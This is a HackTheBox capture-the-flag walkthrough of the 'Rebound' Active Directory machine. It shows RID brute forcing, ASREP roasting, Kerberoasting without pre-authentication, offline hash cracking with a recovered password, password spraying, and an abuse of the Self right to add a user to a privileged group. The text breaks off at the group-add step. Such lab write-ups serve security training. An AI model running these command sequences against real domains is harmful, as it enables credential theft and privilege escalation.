Machine: Rebound
Difficulty: Insane
Platform: HackTheBox
Release: Released on 09/09/2023
About Rebound
Rebound is an insane difficulty machine on HackTheBox. Initially, we'll exploit RID brute force to obtain a list of valid users on the Domain Controller. One of these users is vulnerable to ASREPRoastable, however, its password is not crackable.
Auth as ldap_monitor
Even though we can't crack the user password, we find a way to combine both ASREPRoast and Kerberoasting Attack to obtain a hash for ldap_monitor
. We successfully crack it offline using john
.
Auth as oorend
By performing password spraying with the password we obtained for ldap_monitor
, we notice that oorend
has the same password, allowing us to authenticate as them.
Shell as winrm_svc
By running bloodhound-python
to perform a comprehensive enumeration of the AD environment, we discovered that the ServiceMgmt
group has special privileges that could lead to obtaining a shell as winrm_svc
following certain steps. However, none of our users are members of ServiceMgmt
. Upon inspecting the ACLs of ServiceMgmt
, I noticed that oorend
can add itself to the ServiceMgmt
group, which provides us with an opportunity to follow those steps and ultimately gain access as winrm_svc
.
Auth as tbrady
nce on the system as winrm_svc
, upon inspecting the running processes, we noticed that some processes are running under a different Session ID, indicating that a user is logged in on the box. By running the exploit RemotePotato0
, we were able to steal an NTLMv2 hash of tbrady
, exploiting the active session. This hash is crackable, and we obtain the plaintext password.
Auth as delegator$
As tbrady
, we can read the GMSA password of delegator$
. Therefore, by using the bloodyAD
tool, we obtain the NTLM hash of delegator$
. Taking advantage of the PassTheHash technique, we achieve authentication as delegator$
.
Shell as Administrator
The machine account delegator$
has constrained delegation privileges over a service. By configuring RBCD over delegator$
, we impersonate the dc01$
machine account in delegator$
, subsequently leveraging constrained delegation to impersonate the dc01$
machine account in dc01
. Consequently, we gain access as administrator by dumping the NTDS and using its NTLM hash to get a shell via WinRM
.
Recon
Initially, let's conduct a port scan to discover open ports on the victim machine. To achieve this, I'll use nmap
.
elswix@ubuntu$ nmap 10.10.11.231 --min-rate 10000 -n -p- --open -oG portScan
Nmap scan report for 10.10.11.231
Host is up (0.14s latency).
Not shown: 53866 closed tcp ports (conn-refused), 11643 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49681/tcp open unknown
49688/tcp open unknown
49734/tcp open unknown
51101/tcp open unknown
Once the scan is complete, we'll launch a comprehensive scan to identify technologies running on these ports. To do so, firstly I'll extract open ports from the output file.
elswix@ubuntu$ cat portScan | grep -oP '\d{1,5}/open' | awk '{print $1}' FS="/" | xargs | tr ' ' ','
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49681,49688,49734,51101
Now, I'll use nmap
to perform the scan:
elswix@ubuntu$ nmap -Pn 10.10.11.231 -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49681,49688,49734,51101 -oN fullScan
Nmap scan report for dc01.rebound.htb (10.10.11.231)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-29 02:11:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-29T02:12:45+00:00; +7h19m20s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-29T02:12:46+00:00; +7h19m20s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
...[snip]...
Notice that I have saved the output to a file; you should always do this on every scan!
At first glance, in the output, we can highlight a domain and the SAN. I'll add them to my hosts
file.
elswix@ubuntu$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 hackency
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.231 dc01.rebound.htb rebound.htb
DNS Enumeration
Since port 53 is open, we could conduct some DNS enumeration. Firstly, with dig
, I'll perform some DNS queries.
elswix@ubuntu$ dig @10.10.11.231 rebound.htb ns
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.11.231 rebound.htb ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20361
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;rebound.htb. IN NS
;; ANSWER SECTION:
rebound.htb. 3600 IN NS dc01.rebound.htb.
;; ADDITIONAL SECTION:
dc01.rebound.htb. 3600 IN A 10.10.11.231
;; Query time: 204 msec
;; SERVER: 10.10.11.231#53(10.10.11.231) (UDP)
;; WHEN: Thu Mar 28 15:58:00 -03 2024
;; MSG SIZE rcvd: 75
It didn't retrieve any relevant information.
Transfer Zone Attack (Failed)
Sometimes, misconfigured DNS services can be vulnerable to the Zone Transfer attack, the success of which could leak all registered subdomains.
elswix@ubuntu$ dig @10.10.11.231 rebound.htb axfr
; <<>> DiG 9.18.18-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.11.231 rebound.htb axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
It didn't work, but it's worth checking out anyway.
LDAP - Port 389/636
Even if we lack valid credentials against the domain, we could still perform some anonymous (public) enumeration.
elswix@ubuntu$ ldapsearch -x -H ldap://10.10.11.231 -b 'DC=rebound,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=rebound,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090ACD, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
Given the error returned, I realized that we need valid credentials to enumerate the LDAP service.
SMB - Port 445
As the SMB service is exposed, we could carry out some system enumeration. I'll use crackmapexec
for this purpose.
elswix@ubuntu$ crackmapexec smb 10.10.11.231
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
Let's try to list all the network-level shared resources:
elswix@ubuntu$ crackmapexec smb 10.10.11.231 --shares
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [-] Error getting user: list index out of range
SMB 10.10.11.231 445 DC01 [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
It returned an error due to the Null Session being disabled. However, we could carry out this enumeration employing a Guest Session:
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'elswix' -p '' --shares
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [+] rebound.htb\elswix:
SMB 10.10.11.231 445 DC01 [*] Enumerated shares
SMB 10.10.11.231 445 DC01 Share Permissions Remark
SMB 10.10.11.231 445 DC01 ----- ----------- ------
SMB 10.10.11.231 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.231 445 DC01 C$ Default share
SMB 10.10.11.231 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.231 445 DC01 NETLOGON Logon server share
SMB 10.10.11.231 445 DC01 Shared READ
SMB 10.10.11.231 445 DC01 SYSVOL Logon server share
As you can see, it worked, and we seem to have read access to the Shared
resource.
I'll now connect to this resource using smbclient
, without supplying a password:
elswix@ubuntu$ smbclient //10.10.11.231/Shared -U "elswix"
Password for [WORKGROUP\elswix]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Aug 25 18:46:36 2023
.. D 0 Fri Aug 25 18:46:36 2023
4607743 blocks of size 4096. 1044413 blocks available
smb: \>
We were able to establish a connection to the resource, but there is no data on it.
RID Bruteforce
I have briefly explained this attack in the Manager
WriteUP; however, I will provide a brief summary.
The RID (Relative Identifier) is a unique number assigned to each security principal (such as a user, group, or computer) within a Windows domain. The Bruteforce RID technique entails attempting to guess or enumerate valid RID (Relative Identifier) values within a domain. This process can be automated, with various possible RIDs tested to identify those that produce valid SIDs (Security Identifiers). RIDs are usually integer values that begin from 1000 and increment in steps.
We could attempt to perform this brute force attack using crackmapexec
.
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'elswix' -p '' --rid-brute 10000 > cme_ridbruteforce.txt
I have stored the output of the command in a file, as it will allow me to apply some filters on the capture and extract specific information.
elswix@ubuntu$ cat cme_ridbruteforce.txt | grep SidTypeUser | awk '{print $6}' | sed 's/rebound\\//' > users.txt
Now, we have a list of valid users in the users.txt
file:
elswix@ubuntu$ cat users.txt
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$
elswix@ubuntu$
Firstly, as I didn't encounter any potential passwords, I'll perform Password Spraying. I'll supply their usernames as passwords.
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [-] rebound.htb\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\DC01$:DC01$ STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\ppaul:ppaul STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\llune:llune STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\fflock:fflock STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\jjones:jjones STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\mmalone:mmalone STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\nnoon:nnoon STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\ldap_monitor:ldap_monitor STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\oorend:oorend STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\winrm_svc:winrm_svc STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\batch_runner:batch_runner STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\tbrady:tbrady STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\delegator$:delegator$ STATUS_LOGON_FAILURE
It seems that none of these users reuse their usernames as passwords. However, we could still leverage the presence of valid users on the domain. Let's attempt to perform an ASREP Roast attack.
Firstly, let me clarify some concepts about this attack:
An ASREP Roast attack targets Kerberos authentication. In this attack, the attacker requests authentication tickets from the Key Distribution Center (KDC) for accounts that do not require pre-authentication. These tickets are encrypted with a hash of the account's password. The attacker then attempts to crack the password hashes offline, gaining access to the plaintext passwords and potentially compromising the accounts.
Note
The TGT is first encrypted with the KDC master key, and then it is encrypted with the user master key. This attack aims to break a portion of the TGT cipher, which effectively belongs to the user master key encryption.
If you want to learn more about Kerberos Authentication, you should take a look at this article written by my friend ZaikoARG, which deeply describes how Kerberos authentication works.
To carry out this attack, we can use the GetNPUsers.py
script from the Impacket suite.
elswix@ubuntu$ GetNPUsers.py rebound.htb/ -no-pass -usersfile users.txt
Impacket v0.12.0.dev1+20230909.154612.3beeda7 - Copyright 2023 Fortra
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...
$krb5asrep$23$jjones@REBOUND.HTB:06618fdc5edb202f5446eb07ee066150$19fa13c0fd0e5d1a414762f229c01a04644a3f48c4edebc006ece7c9dc54d4842456dc3b3ec224403a2e4d18b20f5020f6a9f7460f6f32461fef348a2e1621b5f387ede9eebdf2f730eaef34fe3bcd7b738c98465fff4ea2d7bb4bea596016277d967144b466d6ed2ca66482d65ceb2af25869563bf7bf687c33fc38f2e0f92ff235d8b043a7eff0565fde2264df15aebbe15db29cfa6a9dcaaa03d3ac41a9cea7bc448b815e39f58f382f0b8e3901b61581f513fa27ab5e0dd9775b264fdc8c195c75965c626f92c9120c9585fa499f04c5d04b769d5016c1b9490b963db886404b5bbaeb04680b7007
...[snip]...
[-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set
As you can see, it worked! The user jjones
has UF_DONT_REQUIRE_PREAUTH
set, making them vulnerable to an ASREP Roast attack. Since it returned a hash, we could attempt to brute force it and retrieve the user password. I've saved the hash into a file, and with john
, I'll try to crack it.
elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt krb5asrep_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Cost 1 (etype) is 23 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:24 DONE (2024-03-28 19:52) 0g/s 584981p/s 584981c/s 584981C/s 0839236891..*7¡Vamos!
Session completed.
It didn't crack! So, at this point, this hash is useless.
Kerberoasting Attack without Pre Authentication
As you may know, you need to have valid credentials against the domain to perform a Kerberoasting Attack. However, there is a way to achieve this without pre-authentication, as detailed in this article from The Hacker Recipes.
In September 2022, Charlie Cark explained how Service Tickets could be obtained through AS-REQ
requests (which are usually used for TGT requests), instead of the usual TGS-REQ
. He demonstrated (and implemented) how to abuse this in a Kerberoasting scenario.
If an attacker knows of an account for which pre-authentication isn't required (i.e. an ASREProastable account), as well as one (or multiple) service accounts to target, a Kerberoast attack can be attempted without having to control any Active Directory account (since pre-authentication won't be required).
Since jjones is ASREProastable, we could attempt to carry out this attack. When Rebound was launched, the official Impacket repository didn't include the -no-preauth
option in the GetUserSPNs.py
script. However, nowadays it's included in the latest commits (but not in a stable release).
Even though the -no-preauth
option is included in the official repository, I'll use the getuserspns-nopreauth
branch from the Impacket repository at ShutdownRepo.
Installation
Firstly, let's clone the repository, specifying the getuserspns-nopreauth
branch:
elswix@ubuntu$ git clone https://github.com/ShutdownRepo/impacket -b getuserspns-nopreauth
Cloning into 'impacket'...
remote: Enumerating objects: 24366, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 24366 (delta 13), reused 14 (delta 9), pack-reused 24340
Receiving objects: 100% (24366/24366), 10.24 MiB | 10.43 MiB/s, done.
Resolving deltas: 100% (18491/18491), done.
Now, let's set up a virtual Python environment and install all dependencies:
elswix@ubuntu$ python3 -m venv venv
elswix@ubuntu$ . venv/bin/activate
elswix@ubuntu$ pip install .
Processing /opt/impacket
Preparing metadata (setup.py) ... done
...[snip]...
Successfully installed Jinja2-3.1.3 MarkupSafe-2.1.5 Werkzeug-3.0.1 blinker-1.7.0 cffi-1.16.0 charset_normalizer-3.3.2 click-8.1.7 cryptography-42.0.5 dnspython-2.6.1 dsinternals-1.2.4 flask-3.0.2 future-1.0.0 impacket-0.12.0.dev1+20230928.161134.d2103449 itsdangerous-2.1.2 ldap3-2.9.1 ldapdomaindump-0.9.4 pyOpenSSL-24.1.0 pyasn1-0.6.0 pycparser-2.21 pycryptodomex-3.20.0 six-1.16.0
elswix@ubuntu$
Now, running GetUserSPNs.py
, we observe that -no-preauth
option is available:
elswix@ubuntu$ GetUserSPNs.py
Impacket v0.12.0.dev1+20230928.161134.d2103449 - Copyright 2023 Fortra
...[snip]...
options:
-h, --help show this help message and exit
-target-domain TARGET_DOMAIN
Domain to query/request if different than the domain of the user. Allows for Kerberoasting across
trusts.
-no-preauth NO_PREAUTH
account that does not require preauth, to obtain Service Ticket through the AS
-stealth Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. May cause huge memory
consumption / errors on large domains.
-usersfile USERSFILE File with user per line to test
...[snip]...
elswix@ubuntu$
Unlike the usual kerberoasting attack, we have to specify a users file and the ASREPRoastable user:
elswix@ubuntu$ GetUserSPNs.py -no-preauth "jjones" -dc-ip 10.10.11.231 -usersfile users.txt rebound.htb/
Impacket v0.12.0.dev1+20230928.161134.d2103449 - Copyright 2023 Fortra
[-] Principal: Administrator - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: Guest - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$krbtgt$REBOUND.HTB$*krbtgt*$1e36d0b...[snip]...b62bbb4c6b16bea7
$krb5tgs$18$DC01$$REBOUND.HTB$*DC01$*$3fda56...[snip]...00756a59bceb
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$1f03237a7b7b...[snip]...3bf08d4f973d1c3
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$13930cd05cfde5329...[snip]...a369c3d3391f153d88475f
It returned four hashes, which I will save into a file to subsequently crack them.
elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt krb5tgs_hashes.txt
Warning: only loading hashes of type "krb5tgs", but also saw type "krb5tgs-sha1"
Use the "--format=krb5tgs-sha1" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS-REP etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
1GR8t@$$4u (?)
1g 0:00:00:08 DONE (2024-03-29 08:21) 0.1121g/s 1461Kp/s 1461Kc/s 1461KC/s 1Goatrope..1DEN8864
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
As you can see, one hash was successfully cracked, so we obtained a plaintext password. As I don't know who it belongs to, I'll perform password spraying
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u' --continue-on-success
crackmapexec smb 10.10.11.231 -u users.txt -p '1GR8t@$$4u' --continue-on-success
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [-] rebound.htb\Administrator:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\Guest:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\krbtgt:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\DC01$:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
SMB 10.10.11.231 445 DC01 [+] rebound.htb\oorend:1GR8t@$$4u
SMB 10.10.11.231 445 DC01 [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB 10.10.11.231 445 DC01 [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE
As you can see, this password belongs to the users oorend
and ldap_monitor
. Having valid credentials implies obtaining a broader vector for enumeration. Before beginning further enumeration, I'll check if these users belong to the Remote Management Group
; if they do, we could gain access to the system using tools like Evil-WinRM
.
elswix@ubuntu$ crackmapexec winrm 10.10.11.231 -u 'ldap_monitor' -p '1GR8t@$$4u'
SMB 10.10.11.231 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:rebound.htb)
HTTP 10.10.11.231 5985 DC01 [*] http://10.10.11.231:5985/wsman
HTTP 10.10.11.231 5985 DC01 [-] rebound.htb\ldap_monitor:1GR8t@$$4u
elswix@ubuntu$ crackmapexec winrm 10.10.11.231 -u 'oorend' -p '1GR8t@$$4u'
SMB 10.10.11.231 5985 DC01 [*] Windows 10.0 Build 17763 (name:DC01) (domain:rebound.htb)
HTTP 10.10.11.231 5985 DC01 [*] http://10.10.11.231:5985/wsman
HTTP 10.10.11.231 5985 DC01 [-] rebound.htb\oorend:1GR8t@$$4u
They don't belong to the Remote Management Users
group, so there is no potential vector for accessing the system via WinRM
.
RPC Enumeration
As we have valid credentials, we could attempt to connect to the RPC service to enumerate users, groups, and gather interesting information about the DC. While LDAP is also an option, this time I'll opt for RPC.
elswix@ubuntu$ rpcclient -U 'oorend%1GR8t@$$4u' 10.10.11.231
rpcclient $>
It worked! Now we can start our enumeration. We already have valid users. Additionally, we can explore existing groups on the DC:
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[ServiceMgmt] rid:[0x1e03]
rpcclient $>
These groups look normal; however, we can highlight the ServiceMgmt
group, which is not a default group. Let's copy its RID and search for members of this group
rpcclient $> querygroupmem 0x1e03
rid:[0x79f] attr:[0x7]
rid:[0xd36] attr:[0x7]
rpcclient $>
As we can't see the usernames, we can use query user
and supply their RID.
rpcclient $> queryuser 0x79f
User Name : ppaul
Full Name :
...[snip]...
rpcclient $> queryuser 0xd36
User Name : fflock
Full Name :
...[snip]...
rpcclient $>
These users belong to the ServiceMgmt
group. However, we lack valid credentials for them.
Bloodhound
Let's launch BloodHound remotely to perform a thorough enumeration against the Active Directory environment. To do this, firstly you have to install BloodHound from PyPi:
elswix@ubuntu$ pip install bloodhound
Upon executing it, it threw an error.
elswix@ubuntu$ bloodhound-python -c all -u 'ldap_monitor' -p '1GR8t@$$4u' -d rebound.htb -ns 10.10.11.231 --zip --use-ldaps
INFO: Found AD domain: rebound.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.rebound.htb
INFO: Found 1 domains
...[snip]...
File "/home/elswix/Desktop/elswix/HTB/Rebound/content/bh/venv/lib/python3.10/site-packages/bloodhound/ad/utils.py", line 362, in get_entry_property
value = entry['attributes'][prop]
TypeError: 'NoneType' object is not subscriptable
elswix@ubuntu$
The latest version crashes running with -c all
, I was able to fix it by modifying the source code, but installing an older version is an easier solution.
elswix@ubuntu$ pip install bloodhound==1.6.1
This worked perfectly!
elswix@ubuntu$ bloodhound-python -c all -u 'ldap_monitor' -p '1GR8t@$$4u' -d rebound.htb -ns 10.10.11.231 --zip
INFO: Found AD domain: rebound.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
...[snip]...
resolved.
INFO: Done in 00M 49S
INFO: Compressing output into 20240329163209_bloodhound.zip
elswix@ubuntu$
After importing the ZIP file into BloodHound and searching for the shortest path to high-value targets, the result is messy.
Looking at the Kerberoastable accounts, we can see ldap_monitor
and the gmsa.rebound.htb
accounts:
The account gmsa.rebound.htb
has the sAMAccountName delegator$
. Its name is a hint for later.
The ServiceMgmt
group caught my attention, and while searching for potential privilege escalation vectors, I came across the following:
The ServiceMgmt
group has the GenericAll privilege over the SERVICE USERS
OU, which contains the WINRM_SVC
user, who can enter an interactive session with the target computer. Let's explain this concepts:
GenericAll: It is an access control permission in Windows systems that grants a user the right to perform any permitted operation on an object, such as viewing, modifying, or deleting the object, regardless of any other specific permissions the user may have.
As per the bloodhound documentation:
Contains: GPOs linked to a container apply to all objects that are contained by the container. Additionally, ACEs set on a parent OU may inherit down to child objects. The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types
CanPSRemote: PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system.
Exploiting this could allow us to gain access to the system. However, there is a problem. We don't have credentials for any of the users that belong to this group, and according to the BloodHound enumeration, there is no way, leveraging the users we obtained, to gain access to the ServiceMgmt
group.
When I was exploiting this machine for the first time, it took me a lot of time to find the right way. Since the users ppaul
and fflock
belong to ServiceMgmt
, I assumed finding a way to access these users would be the correct path. However, it wasn't, so I decided to manually inspect the ACLs
of ServiceMgmt
.
If we had access to the system, we could import the PowerView module to perform enumeration. However, since this is not the case, we must opt for an alternative. I'll use the (partial) Python alternative Pywerview:
elswix@ubuntu$ pywerview get-objectacl --name 'ServiceMgmt' -w rebound.htb -u 'oorend' -p '1GR8t@$$4u' -t 10.10.11.231 --tls --resolve-sids --resolve-guids
...[snip]...
objectdn: CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
objectsid: S-1-5-21-4078382237-1492182817-2568127209-7683
acetype: ACCESS_ALLOWED_OBJECT_ACE
binarysize: 40
aceflags:
accessmask: 256
activedirectoryrights: extended_right
isinherited: False
securityidentifier: Authenticated Users
objectaceflags: object_ace_type_present
objectacetype: Send-To
inheritedobjectacetype: All
iscallbak: False
objectdn: CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb
objectsid: S-1-5-21-4078382237-1492182817-2568127209-7683
acetype: ACCESS_ALLOWED_ACE
binarysize: 36
aceflags:
accessmask: 8
activedirectoryrights: self
isinherited: False
securityidentifier: CN=oorend,CN=Users,DC=rebound,DC=htb
iscallbak: False
...[snip]...
elswix@ubuntu$
Of course, it returned a very long output, but while analyzing it, one ACE instantly caught my attention. As you have seen above, oorend
has a "Self" right over ServiceMgmt
.
According to HackTricks, the "Self" privilege enables attackers to add themselves to specific groups, such as Domain Admins
, through commands that manipulate group membership directly. I don't know why it was not reported on the BloodHound enumeration; probably because we installed an outdated version.
Since we have valid credentials for oorend
and it has Self privilege over ServiceMgmt
, we could attempt to add oorend
to ServiceMgmt
. To achieve this, I'll use bloodyAD
(you can install it from PyPi):
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add groupMember servicemgmt oorend
[+] oorend added to servicemgmt
